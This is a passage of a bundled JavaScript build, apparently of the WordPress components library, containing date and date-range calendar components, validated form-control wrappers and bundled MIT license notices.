55593 ...props
55594 }) => {
55595 const localizationProps = useLocalizationProps({
55596 locale,
55597 timeZone,
55598 mode: "single"
55599 });
55600 const onChange = (0, import_element244.useCallback)((selected2, triggerDate, modifiers, e3) => {
55601 onSelect?.(selected2 ?? void 0, triggerDate, modifiers, e3);
55602 }, [onSelect]);
55603 const [selected, setSelected] = useControlledValue({
55604 defaultValue: defaultSelected,
55605 value: selectedProp,
55606 onChange
55607 });
55608 return /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(DayPicker, {
55609 ...COMMON_PROPS,
55610 ...localizationProps,
55611 ...props,
55612 mode: "single",
55613 numberOfMonths: clampNumberOfMonths(numberOfMonths),
55614 selected: selected ?? void 0,
55615 onSelect: setSelected
55616 });
55617 };
55618
55619 // packages/components/build-module/calendar/date-range-calendar/index.mjs
55620 var import_element245 = __toESM(require_element(), 1);
55621 var import_jsx_runtime320 = __toESM(require_jsx_runtime(), 1);
55622 function usePreviewRange({
55623 selected,
55624 hoveredDate,
55625 excludeDisabled,
55626 min: min3,
55627 max: max3,
55628 disabled
55629 }) {
55630 return (0, import_element245.useMemo)(() => {
55631 if (!hoveredDate || !selected?.from) {
55632 return;
55633 }
55634 let previewHighlight;
55635 let potentialNewRange;
55636 if (hoveredDate < selected.from) {
55637 previewHighlight = {
55638 from: hoveredDate,
55639 to: selected.from
55640 };
55641 potentialNewRange = {
55642 from: hoveredDate,
55643 to: selected.to ?? selected.from
55644 };
55645 } else if (selected.to && hoveredDate > selected.from && hoveredDate < selected.to) {
55646 previewHighlight = {
55647 from: selected.from,
55648 to: hoveredDate
55649 };
55650 potentialNewRange = {
55651 from: selected.from,
55652 to: hoveredDate
55653 };
55654 } else if (hoveredDate > selected.from) {
55655 previewHighlight = {
55656 from: selected.to ?? selected.from,
55657 to: hoveredDate
55658 };
55659 potentialNewRange = {
55660 from: selected.from,
55661 to: hoveredDate
55662 };
55663 }
55664 if (min3 !== void 0 && min3 > 0 && potentialNewRange && differenceInCalendarDays(potentialNewRange.to, potentialNewRange.from) < min3) {
55665 previewHighlight = {
55666 from: hoveredDate,
55667 to: hoveredDate
55668 };
55669 }
55670 if (max3 !== void 0 && max3 > 0 && potentialNewRange && differenceInCalendarDays(potentialNewRange.to, potentialNewRange.from) > max3) {
55671 previewHighlight = {
55672 from: hoveredDate,
55673 to: hoveredDate
55674 };
55675 }
55676 if (excludeDisabled && disabled && potentialNewRange && rangeContainsModifiers(potentialNewRange, disabled)) {
55677 previewHighlight = {
55678 from: hoveredDate,
55679 to: hoveredDate
55680 };
55681 }
55682 return previewHighlight;
55683 }, [selected, hoveredDate, excludeDisabled, min3, max3, disabled]);
55684 }
55685 var DateRangeCalendar = ({
55686 defaultSelected,
55687 selected: selectedProp,
55688 onSelect,
55689 numberOfMonths = 1,
55690 excludeDisabled,
55691 min: min3,
55692 max: max3,
55693 disabled,
55694 locale = enUS,
55695 timeZone,
55696 ...props
55697 }) => {
55698 const localizationProps = useLocalizationProps({
55699 locale,
55700 timeZone,
55701 mode: "range"
55702 });
55703 const onChange = (0, import_element245.useCallback)((selected2, triggerDate, modifiers2, e3) => {
55704 onSelect?.(selected2 ?? void 0, triggerDate, modifiers2, e3);
55705 }, [onSelect]);
55706 const [selected, setSelected] = useControlledValue({
55707 defaultValue: defaultSelected,
55708 value: selectedProp,
55709 onChange
55710 });
55711 const [hoveredDate, setHoveredDate] = (0, import_element245.useState)(void 0);
55712 const previewRange = usePreviewRange({
55713 selected,
55714 hoveredDate,
55715 excludeDisabled,
55716 min: min3,
55717 max: max3,
55718 disabled
55719 });
55720 const modifiers = (0, import_element245.useMemo)(() => {
55721 return {
55722 preview: previewRange,
55723 preview_start: previewRange?.from,
55724 preview_end: previewRange?.to
55725 };
55726 }, [previewRange]);
55727 return /* @__PURE__ */ (0, import_jsx_runtime320.jsx)(DayPicker, {
55728 ...COMMON_PROPS,
55729 ...localizationProps,
55730 ...props,
55731 mode: "range",
55732 numberOfMonths: clampNumberOfMonths(numberOfMonths),
55733 disabled,
55734 excludeDisabled,
55735 min: min3,
55736 max: max3,
55737 selected: selected ?? void 0,
55738 onSelect: setSelected,
55739 onDayMouseEnter: (date) => setHoveredDate(date),
55740 onDayMouseLeave: () => setHoveredDate(void 0),
55741 modifiers,
55742 modifiersClassNames: MODIFIER_CLASSNAMES
55743 });
55744 };
55745
55746 // packages/components/build-module/validated-form-controls/components/checkbox-control.mjs
55747 var import_compose85 = __toESM(require_compose(), 1);
55748 var import_element247 = __toESM(require_element(), 1);
55749
55750 // packages/components/build-module/validated-form-controls/control-with-error.mjs
55751 var import_i18n82 = __toESM(require_i18n(), 1);
55752 var import_element246 = __toESM(require_element(), 1);
55753
55754 // packages/components/build-module/validated-form-controls/validity-indicator.mjs
55755 var import_jsx_runtime321 = __toESM(require_jsx_runtime(), 1);
55756 function ValidityIndicator({
55757 id: id3,
55758 type,
55759 message: message2
55760 }) {
55761 const ICON = {
55762 valid: published_default,
55763 invalid: error_default
55764 };
55765 return /* @__PURE__ */ (0, import_jsx_runtime321.jsxs)("p", {
55766 id: id3,
55767 className: clsx_default("components-validated-control__indicator", `is-${type}`),
55768 children: [type === "validating" ? /* @__PURE__ */ (0, import_jsx_runtime321.jsx)(spinner_default, {
55769 className: "components-validated-control__indicator-spinner"
55770 }) : /* @__PURE__ */ (0, import_jsx_runtime321.jsx)(icon_default3, {
55771 className: "components-validated-control__indicator-icon",
55772 icon: ICON[type],
55773 size: 16,
55774 fill: "currentColor"
55775 }), message2]
55776 });
55777 }
55778
55779 // packages/components/build-module/validated-form-controls/control-with-error.mjs
55780 var import_jsx_runtime322 = __toESM(require_jsx_runtime(), 1);
55781 function appendRequiredIndicator(label, required, markWhenOptional) {
55782 if (required && !markWhenOptional) {
55783 return /* @__PURE__ */ (0, import_jsx_runtime322.jsxs)(import_jsx_runtime322.Fragment, {
55784 children: [label, " ", `(${(0, import_i18n82.__)("Required")})`]
55785 });
55786 }
55787 if (!required && markWhenOptional) {
55788 return /* @__PURE__ */ (0, import_jsx_runtime322.jsxs)(import_jsx_runtime322.Fragment, {
55789 children: [label, " ", `(${(0, import_i18n82.__)("Optional")})`]
55790 });
55791 }
55792 return label;
55793 }
55794 var VALIDITY_VISIBLE_ATTRIBUTE = "data-validity-visible";
55795 var className = "components-validated-control";
55796 function UnforwardedControlWithError({
55797 required,
55798 markWhenOptional,
55799 customValidity,
55800 getValidityTarget,
55801 children
55802 }, forwardedRef) {
55803 const [errorMessage, setErrorMessage] = (0, import_element246.useState)();
55804 const [statusMessage, setStatusMessage] = (0, import_element246.useState)();
55805 const [showMessage, setShowMessage] = (0, import_element246.useState)(false);
55806 const [isTouched, setIsTouched] = (0, import_element246.useState)(false);
55807 (0, import_element246.useEffect)(() => {
55808 const validityTarget = getValidityTarget();
55809 const handler = () => {
55810 setShowMessage(true);
55811 validityTarget?.setAttribute(VALIDITY_VISIBLE_ATTRIBUTE, "");
55812 };
55813 validityTarget?.addEventListener("invalid", handler);
55814 return () => validityTarget?.removeEventListener("invalid", handler);
55815 }, [getValidityTarget]);
55816 (0, import_element246.useEffect)(() => {
55817 const validityTarget = getValidityTarget();
55818 const suppressNativePopover = (event) => {
55819 event.preventDefault();
55820 const target = event.target;
55821 const firstErrorInForm = Array.from(target.form?.elements ?? []).find((el) => !el.validity.valid);
55822 if (!target.form || firstErrorInForm === target) {
55823 target.focus();
55824 }
55825 };
55826 const radioSibilings = validityTarget?.type === "radio" && validityTarget?.name ? Array.from(validityTarget?.closest(`.${className}`)?.querySelectorAll(`input[type="radio"][name="${validityTarget?.name}"]`) ?? []).filter((sibling) => sibling !== validityTarget) : [];
55827 validityTarget?.addEventListener("invalid", suppressNativePopover);
55828 radioSibilings.forEach((sibling) => sibling.addEventListener("invalid", suppressNativePopover));
55829 return () => {
55830 validityTarget?.removeEventListener("invalid", suppressNativePopover);
55831 radioSibilings.forEach((sibling) => sibling.removeEventListener("invalid", suppressNativePopover));
55832 };
55833 }, [getValidityTarget]);
55834 (0, import_element246.useEffect)(() => {
55835 const validityTarget = getValidityTarget();
55836 if (!customValidity?.type) {
55837 validityTarget?.setCustomValidity("");
55838 setErrorMessage(validityTarget?.validationMessage);
55839 setStatusMessage(void 0);
55840 return;
55841 }
55842 switch (customValidity.type) {
55843 case "validating": {
55844 validityTarget?.setCustomValidity("");
55845 setErrorMessage(void 0);
55846 setStatusMessage({
55847 type: "validating",
55848 message: customValidity.message
55849 });
55850 break;
55851 }
55852 case "valid": {
55853 validityTarget?.setCustomValidity("");
55854 setErrorMessage(validityTarget?.validationMessage);
55855 setStatusMessage({
55856 type: "valid",
55857 message: customValidity.message
55858 });
55859 break;
55860 }
55861 case "invalid": {
55862 validityTarget?.setCustomValidity(customValidity.message ?? "");
55863 setErrorMessage(validityTarget?.validationMessage);
55864 setStatusMessage(void 0);
55865 break;
55866 }
55867 }
55868 }, [customValidity, getValidityTarget]);
55869 (0, import_element246.useEffect)(() => {
55870 if (!isTouched || showMessage) {
55871 return;
55872 }
55873 if (customValidity?.type === "validating") {
55874 const timer = setTimeout(() => {
55875 setShowMessage(true);
55876 }, 1e3);
55877 return () => clearTimeout(timer);
55878 }
55879 setShowMessage(true);
55880 }, [isTouched, customValidity?.type, showMessage]);
55881 const onBlur = (event) => {
55882 if (isTouched) {
55883 return;
55884 }
55885 if (!event.relatedTarget || !event.currentTarget.contains(event.relatedTarget)) {
55886 setIsTouched(true);
55887 getValidityTarget()?.setAttribute(VALIDITY_VISIBLE_ATTRIBUTE, "");
55888 }
55889 };
55890 const messageId = (0, import_element246.useId)();
55891 const message2 = (() => {
55892 if (errorMessage) {
55893 return /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(ValidityIndicator, {
55894 id: messageId,
55895 type: "invalid",
55896 message: errorMessage
55897 });
55898 }
55899 if (statusMessage?.type) {
55900 return /* @__PURE__ */ (0, import_jsx_runtime322.jsx)(ValidityIndicator, {
55901 id: messageId,
55902 type: statusMessage.type,
55903 message: statusMessage.message
55904 });
55905 }
55906 return null;
55907 })();
55908 const visibleMessage = showMessage ? message2 : null;
55909 (0, import_element246.useEffect)(() => {
55910 const target = getValidityTarget();
55911 if (!target) {
55912 return;
55913 }
55914 function setDescribedBy(el, shouldAdd) {
55915 const ids = (el.getAttribute("aria-describedby") ?? "").split(" ").filter((id3) => id3 && id3 !== messageId);
55916 if (shouldAdd) {
55917 ids.push(messageId);
55918 }
55919 if (ids.length) {
55920 el.setAttribute("aria-describedby", ids.join(" "));
55921 } else {
55922 el.removeAttribute("aria-describedby");
55923 }
55924 }
55925 setDescribedBy(target, !!visibleMessage);
55926 return () => setDescribedBy(target, false);
55927 }, [visibleMessage, messageId, getValidityTarget]);
55928 return /* @__PURE__ */ (0, import_jsx_runtime322.jsxs)("div", {
55929 className,
55930 ref: forwardedRef,
55931 onBlur,
55932 children: [(0, import_element246.cloneElement)(children, {
55933 label: appendRequiredIndicator(children.props.label, required, markWhenOptional),
55934 required
55935 }), /* @__PURE__ */ (0, import_jsx_runtime322.jsx)("div", {
55936 "aria-live": "polite",
55937 children: visibleMessage
55938 })]
55939 });
55940 }
55941 var ControlWithError = (0, import_element246.forwardRef)(UnforwardedControlWithError);
55942 ControlWithError.displayName = "ControlWithError";
55943
55944 // packages/components/build-module/validated-form-controls/components/checkbox-control.mjs
55945 var import_jsx_runtime323 = __toESM(require_jsx_runtime(), 1);
55946 var UnforwardedValidatedCheckboxControl = ({
55947 required,
55948 customValidity,
55949 markWhenOptional,
55950 ...restProps
55951 }, forwardedRef) => {
55952 const validityTargetRef = (0, import_element247.useRef)(null);
55953 const mergedRefs = (0, import_compose85.useMergeRefs)([forwardedRef, validityTargetRef]);
55954 return /* @__PURE__ */ (0, import_jsx_runtime323.jsx)(ControlWithError, {
55955 required,
55956 markWhenOptional,
55957 ref: mergedRefs,
55958 customValidity,
55959 getValidityTarget: () => validityTargetRef.current?.querySelector('input[type="checkbox"]'),
55960 children: /* @__PURE__ */ (0, import_jsx_runtime323.jsx)(
55961 checkbox_control_default,
55962 {
55963 ...restProps
55964 }
55965 )
55966 });
55967 };
55968 var ValidatedCheckboxControl = (0, import_element247.forwardRef)(UnforwardedValidatedCheckboxControl);
55969 ValidatedCheckboxControl.displayName = "ValidatedCheckboxControl";
55970
55971 // packages/components/build-module/validated-form-controls/components/combobox-control.mjs
55972 var import_compose86 = __toESM(require_compose(), 1);
55973 var import_element248 = __toESM(require_element(), 1);
55974 var import_jsx_runtime324 = __toESM(require_jsx_runtime(), 1);
55975 var UnforwardedValidatedComboboxControl = ({
55976 required,
55977 customValidity,
55978 markWhenOptional,
55979 ...restProps
55980 }, forwardedRef) => {
55981 const validityTargetRef = (0, import_element248.useRef)(null);
55982 const mergedRefs = (0, import_compose86.useMergeRefs)([forwardedRef, validityTargetRef]);
55983 (0, import_element248.useEffect)(() => {
55984 const input = validityTargetRef.current?.querySelector('input[role="combobox"]');
55985 if (input) {
55986 input.required = required ?? false;
55987 }
55988 }, [required]);
55989 return (
55990 // TODO: Bug - Missing value error is not cleared immediately on change, waits for blur.
55991 /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(ControlWithError, {
55992 required,
55993 markWhenOptional,
55994 ref: mergedRefs,
55995 customValidity,
55996 getValidityTarget: () => validityTargetRef.current?.querySelector('input[role="combobox"]'),
55997 children: /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(combobox_control_default, {
55998 __next40pxDefaultSize: true,
55999 ...restProps
56000 })
56001 })
56002 );
56003 };
56004 var ValidatedComboboxControl = (0, import_element248.forwardRef)(UnforwardedValidatedComboboxControl);
56005 ValidatedComboboxControl.displayName = "ValidatedComboboxControl";
56006
56007 // packages/components/build-module/validated-form-controls/components/form-token-field.mjs
56008 var import_element249 = __toESM(require_element(), 1);
56009 var import_jsx_runtime325 = __toESM(require_jsx_runtime(), 1);
56010 var UnforwardedValidatedFormTokenField = ({
56011 required,
56012 customValidity,
56013 markWhenOptional,
56014 ...restProps
56015 }, forwardedRef) => {
56016 const validityTargetRef = (0, import_element249.useRef)(null);
56017 return /* @__PURE__ */ (0, import_jsx_runtime325.jsxs)("div", {
56018 className: "components-validated-control__wrapper-with-error-delegate",
56019 ref: forwardedRef,
56020 children: [/* @__PURE__ */ (0, import_jsx_runtime325.jsx)(ControlWithError, {
56021 required,
56022 markWhenOptional,
56023 customValidity,
56024 getValidityTarget: () => validityTargetRef.current,
56025 children: /* @__PURE__ */ (0, import_jsx_runtime325.jsx)(FormTokenField, {
56026 __next40pxDefaultSize: true,
56027 ...restProps
56028 })
56029 }), /* @__PURE__ */ (0, import_jsx_runtime325.jsx)("input", {
56030 className: "components-validated-control__error-delegate",
56031 type: "text",
56032 ref: validityTargetRef,
56033 required,
56034 value: restProps.value && restProps.value.length > 0 ? "hasvalue" : "",
56035 tabIndex: -1,
56036 onChange: () => {
56037 },
56038 onFocus: (e3) => {
56039 e3.target.previousElementSibling?.querySelector('input[type="text"]')?.focus();
56040 }
56041 })]
56042 });
56043 };
56044 var ValidatedFormTokenField = (0, import_element249.forwardRef)(UnforwardedValidatedFormTokenField);
56045 ValidatedFormTokenField.displayName = "ValidatedFormTokenField";
56046
56047 // packages/components/build-module/validated-form-controls/components/input-control.mjs
56048 var import_element250 = __toESM(require_element(), 1);
56049 var import_compose87 = __toESM(require_compose(), 1);
56050 var import_jsx_runtime326 = __toESM(require_jsx_runtime(), 1);
56051 var UnforwardedValidatedInputControl = ({
56052 required,
56053 customValidity,
56054 markWhenOptional,
56055 ...restProps
56056 }, forwardedRef) => {
56057 const validityTargetRef = (0, import_element250.useRef)(null);
56058 const mergedRefs = (0, import_compose87.useMergeRefs)([forwardedRef, validityTargetRef]);
56059 return /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(ControlWithError, {
56060 required,
56061 markWhenOptional,
56062 customValidity,
56063 getValidityTarget: () => validityTargetRef.current,
56064 children: /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(input_control_default, {
56065 __next40pxDefaultSize: true,
56066 ref: mergedRefs,
56067 ...restProps
56068 })
56069 });
56070 };
56071 var ValidatedInputControl = (0, import_element250.forwardRef)(UnforwardedValidatedInputControl);
56072 ValidatedInputControl.displayName = "ValidatedInputControl";
56073
56074 // packages/components/build-module/validated-form-controls/components/number-control.mjs
56075 var import_element251 = __toESM(require_element(), 1);
56076 var import_compose88 = __toESM(require_compose(), 1);
56077 var import_jsx_runtime327 = __toESM(require_jsx_runtime(), 1);
56078 var UnforwardedValidatedNumberControl = ({
56079 required,
56080 customValidity,
56081 markWhenOptional,
56082 ...restProps
56083 }, forwardedRef) => {
56084 const validityTargetRef = (0, import_element251.useRef)(null);
56085 const mergedRefs = (0, import_compose88.useMergeRefs)([forwardedRef, validityTargetRef]);
56086 return /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(ControlWithError, {
56087 required,
56088 markWhenOptional,
56089 customValidity,
56090 getValidityTarget: () => validityTargetRef.current,
56091 children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(number_control_default, {
56092 __next40pxDefaultSize: true,
56093 ref: mergedRefs,
56094 ...restProps
56095 })
56096 });
56097 };
56098 var ValidatedNumberControl = (0, import_element251.forwardRef)(UnforwardedValidatedNumberControl);
56099 ValidatedNumberControl.displayName = "ValidatedNumberControl";
56100
56101 // packages/components/build-module/validated-form-controls/components/radio-control.mjs
56102 var import_compose89 = __toESM(require_compose(), 1);
56103 var import_element252 = __toESM(require_element(), 1);
56104 var import_jsx_runtime328 = __toESM(require_jsx_runtime(), 1);
56105 var UnforwardedValidatedRadioControl = ({
56106 required,
56107 customValidity,
56108 markWhenOptional,
56109 ...restProps
56110 }, forwardedRef) => {
56111 const validityTargetRef = (0, import_element252.useRef)(null);
56112 const mergedRefs = (0, import_compose89.useMergeRefs)([forwardedRef, validityTargetRef]);
56113 return /* @__PURE__ */ (0, import_jsx_runtime328.jsx)(ControlWithError, {
56114 required,
56115 markWhenOptional,
56116 ref: mergedRefs,
56117 customValidity,
56118 getValidityTarget: () => validityTargetRef.current?.querySelector('input[type="radio"]'),
56119 children: /* @__PURE__ */ (0, import_jsx_runtime328.jsx)(radio_control_default, {
56120 ...restProps
56121 })
56122 });
56123 };
56124 var ValidatedRadioControl = (0, import_element252.forwardRef)(UnforwardedValidatedRadioControl);
56125 ValidatedRadioControl.displayName = "ValidatedRadioControl";
56126
56127 // packages/components/build-module/validated-form-controls/components/select-control.mjs
56128 var import_element253 = __toESM(require_element(), 1);
56129 var import_compose90 = __toESM(require_compose(), 1);
56130 var import_jsx_runtime329 = __toESM(require_jsx_runtime(), 1);
56131 var UnforwardedValidatedSelectControl = ({
56132 required,
56133 customValidity,
56134 markWhenOptional,
56135 ...restProps
56136 }, forwardedRef) => {
56137 const validityTargetRef = (0, import_element253.useRef)(null);
56138 const mergedRefs = (0, import_compose90.useMergeRefs)([forwardedRef, validityTargetRef]);
56139 return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(ControlWithError, {
56140 required,
56141 markWhenOptional,
56142 customValidity,
56143 getValidityTarget: () => validityTargetRef.current,
56144 children: /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(select_control_default, {
56145 __next40pxDefaultSize: true,
56146 ref: mergedRefs,
56147 ...restProps
56148 })
56149 });
56150 };
56151 var ValidatedSelectControl = (0, import_element253.forwardRef)(UnforwardedValidatedSelectControl);
56152 ValidatedSelectControl.displayName = "ValidatedSelectControl";
56153
56154 // packages/components/build-module/validated-form-controls/components/text-control.mjs
56155 var import_compose91 = __toESM(require_compose(), 1);
56156 var import_element254 = __toESM(require_element(), 1);
56157 var import_jsx_runtime330 = __toESM(require_jsx_runtime(), 1);
56158 var UnforwardedValidatedTextControl = ({
56159 required,
56160 customValidity,
56161 markWhenOptional,
56162 ...restProps
56163 }, forwardedRef) => {
56164 const validityTargetRef = (0, import_element254.useRef)(null);
56165 const mergedRefs = (0, import_compose91.useMergeRefs)([forwardedRef, validityTargetRef]);
56166 return /* @__PURE__ */ (0, import_jsx_runtime330.jsx)(ControlWithError, {
56167 required,
56168 markWhenOptional,
56169 customValidity,
56170 getValidityTarget: () => validityTargetRef.current,
56171 children: /* @__PURE__ */ (0, import_jsx_runtime330.jsx)(text_control_default, {
56172 __next40pxDefaultSize: true,
56173 ref: mergedRefs,
56174 ...restProps
56175 })
56176 });
56177 };
56178 var ValidatedTextControl = (0, import_element254.forwardRef)(UnforwardedValidatedTextControl);
56179 ValidatedTextControl.displayName = "ValidatedTextControl";
56180
56181 // packages/components/build-module/validated-form-controls/components/textarea-control.mjs
56182 var import_element255 = __toESM(require_element(), 1);
56183 var import_compose92 = __toESM(require_compose(), 1);
56184 var import_jsx_runtime331 = __toESM(require_jsx_runtime(), 1);
56185 var UnforwardedValidatedTextareaControl = ({
56186 required,
56187 customValidity,
56188 markWhenOptional,
56189 ...restProps
56190 }, forwardedRef) => {
56191 const validityTargetRef = (0, import_element255.useRef)(null);
56192 const mergedRefs = (0, import_compose92.useMergeRefs)([forwardedRef, validityTargetRef]);
56193 return /* @__PURE__ */ (0, import_jsx_runtime331.jsx)(ControlWithError, {
56194 required,
56195 markWhenOptional,
56196 customValidity,
56197 getValidityTarget: () => validityTargetRef.current,
56198 children: /* @__PURE__ */ (0, import_jsx_runtime331.jsx)(textarea_control_default, {
56199 ref: mergedRefs,
56200 ...restProps
56201 })
56202 });
56203 };
56204 var ValidatedTextareaControl = (0, import_element255.forwardRef)(UnforwardedValidatedTextareaControl);
56205 ValidatedTextareaControl.displayName = "ValidatedTextareaControl";
56206
56207 // packages/components/build-module/validated-form-controls/components/toggle-control.mjs
56208 var import_element256 = __toESM(require_element(), 1);
56209 var import_compose93 = __toESM(require_compose(), 1);
56210 var import_jsx_runtime332 = __toESM(require_jsx_runtime(), 1);
56211 var UnforwardedValidatedToggleControl = ({
56212 required,
56213 customValidity,
56214 markWhenOptional,
56215 ...restProps
56216 }, forwardedRef) => {
56217 const validityTargetRef = (0, import_element256.useRef)(null);
56218 const mergedRefs = (0, import_compose93.useMergeRefs)([forwardedRef, validityTargetRef]);
56219 return /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(ControlWithError, {
56220 required,
56221 markWhenOptional,
56222 customValidity,
56223 getValidityTarget: () => validityTargetRef.current,
56224 children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(toggle_control_default, {
56225 ref: mergedRefs,
56226 required,
56227 ...restProps
56228 })
56229 });
56230 };
56231 var ValidatedToggleControl = (0, import_element256.forwardRef)(UnforwardedValidatedToggleControl);
56232 ValidatedToggleControl.displayName = "ValidatedToggleControl";
56233
56234 // packages/components/build-module/validated-form-controls/components/toggle-group-control.mjs
56235 var import_element257 = __toESM(require_element(), 1);
56236 var import_jsx_runtime333 = __toESM(require_jsx_runtime(), 1);
56237 var UnforwardedValidatedToggleGroupControl = ({
56238 required,
56239 customValidity,
56240 markWhenOptional,
56241 ...restProps
56242 }, forwardedRef) => {
56243 const validityTargetRef = (0, import_element257.useRef)(null);
56244 const nameAttr = (0, import_element257.useId)();
56245 return /* @__PURE__ */ (0, import_jsx_runtime333.jsxs)("div", {
56246 className: "components-validated-control__wrapper-with-error-delegate",
56247 children: [/* @__PURE__ */ (0, import_jsx_runtime333.jsx)(ControlWithError, {
56248 required,
56249 markWhenOptional,
56250 customValidity,
56251 getValidityTarget: () => validityTargetRef.current,
56252 children: /* @__PURE__ */ (0, import_jsx_runtime333.jsx)(component_default12, {
56253 __next40pxDefaultSize: true,
56254 ref: forwardedRef,
56255 ...restProps
56256 })
56257 }), /* @__PURE__ */ (0, import_jsx_runtime333.jsx)("input", {
56258 className: "components-validated-control__error-delegate",
56259 type: "radio",
56260 ref: validityTargetRef,
56261 required,
56262 checked: restProps.value !== void 0,
56263 tabIndex: -1,
56264 name: nameAttr,
56265 onChange: () => {
56266 },
56267 onFocus: (e3) => {
56268 e3.target.previousElementSibling?.querySelector('[data-active-item="true"]')?.focus();
56269 }
56270 })]
56271 });
56272 };
56273 var ValidatedToggleGroupControl = (0, import_element257.forwardRef)(UnforwardedValidatedToggleGroupControl);
56274 ValidatedToggleGroupControl.displayName = "ValidatedToggleGroupControl";
56275
56276 // packages/components/build-module/private-apis.mjs
56277 var privateApis = {};
56278 lock(privateApis, {
56279 __experimentalPopoverLegacyPositionToPlacement: positionToPlacement,
56280 ComponentsContext,
56281 Tabs,
56282 Theme: theme_default,
56283 Menu: Menu3,
56284 kebabCase,
56285 withIgnoreIMEEvents,
56286 Badge: badge_default,
56287 normalizeTextString,
56288 DateCalendar,
56289 DateRangeCalendar,
56290 TZDate,
56291 useDrag,
56292 ValidatedInputControl,
56293 ValidatedCheckboxControl,
56294 ValidatedComboboxControl,
56295 ValidatedNumberControl,
56296 ValidatedSelectControl,
56297 ValidatedRadioControl,
56298 ValidatedTextControl,
56299 ValidatedTextareaControl,
56300 ValidatedToggleControl,
56301 ValidatedToggleGroupControl,
56302 ValidatedFormTokenField
56303 });
56304 return __toCommonJS(index_exports);
56305})();
56306/*! Bundled license information:
56307
56308use-sync-external-store/cjs/use-sync-external-store-shim.development.js:
56309 (**
56310 * @license React
56311 * use-sync-external-store-shim.development.js
56312 *
56313 * Copyright (c) Meta Platforms, Inc. and affiliates.
56314 *
56315 * This source code is licensed under the MIT license found in the
56316 * LICENSE file in the root directory of this source tree.
56317 *)
56318
56319react-is/cjs/react-is.development.js:
56320 (** @license React v16.13.1
56321 * react-is.development.js
56322 *
56323 * Copyright (c) Facebook, Inc. and its affiliates.
56324 *
56325 * This source code is licensed under the MIT license found in the
56326 * LICENSE file in the root directory of this source tree.
56327 *)
56328
56329is-plain-object/dist/is-plain-object.mjs:
56330 (*!
56331 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
56332 *
56333 * Copyright (c) 2014-2017, Jon Schlinkert.
56334 * Released under the MIT License.
56335 *)
56336*/
56337